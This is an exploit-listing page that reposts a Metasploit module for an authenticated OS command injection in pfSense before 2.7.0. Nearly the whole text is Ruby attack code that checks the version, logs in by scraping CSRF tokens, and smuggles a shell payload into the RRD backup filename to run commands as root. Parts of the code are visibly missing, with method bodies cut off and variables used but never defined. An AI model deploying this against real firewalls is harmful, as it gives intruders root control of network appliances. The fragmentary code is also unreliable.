Pfsense v2.7.0 os command injection Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2023-07-20 |
Type : webapps |
Platform : php
This exploit / vulnerability Pfsense v2.7.0 os command injection is for educational purposes only and if it is used you will do on your own risk!
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Restore RRD Data Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"
privilege to execute arbitrary operating system commands as the "root" user.
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
unless res&.body&.include?('Diagnostics: ')
return Exploit::CheckCode::Safe('Vulnerable module not reachable')
end
version = detect_version
unless version
return Exploit::CheckCode::Detected('Unable to get the pfSense version')
end
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
end
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
end
def login
# Skip the login process if we are already logged in.
return true if @logged_in
csrf = get_csrf('index.php', 'GET')
unless csrf
print_error('Could not get the expected CSRF token for index.php when attempting login!')
return false
end
unless res && res.body
return nil # If no response was returned or an empty response was returned, then return nil.
end
# Try regex match the response body and save the match into a variable named csrf.
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
return nil # No match could be found, so the variable csrf won't be defined.
else
return csrf
end
end
def drop_config
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
end
if res && res.code == 200 && res.body =~ /<rrddatafile>/
return res.body
else
return nil
end
end
def exploit
unless login
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
end
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
end
config_data = drop_config
if config_data.nil?
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
end
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
end
config_data.gsub!(' ', '${IFS}')
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
if res
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
end
end
end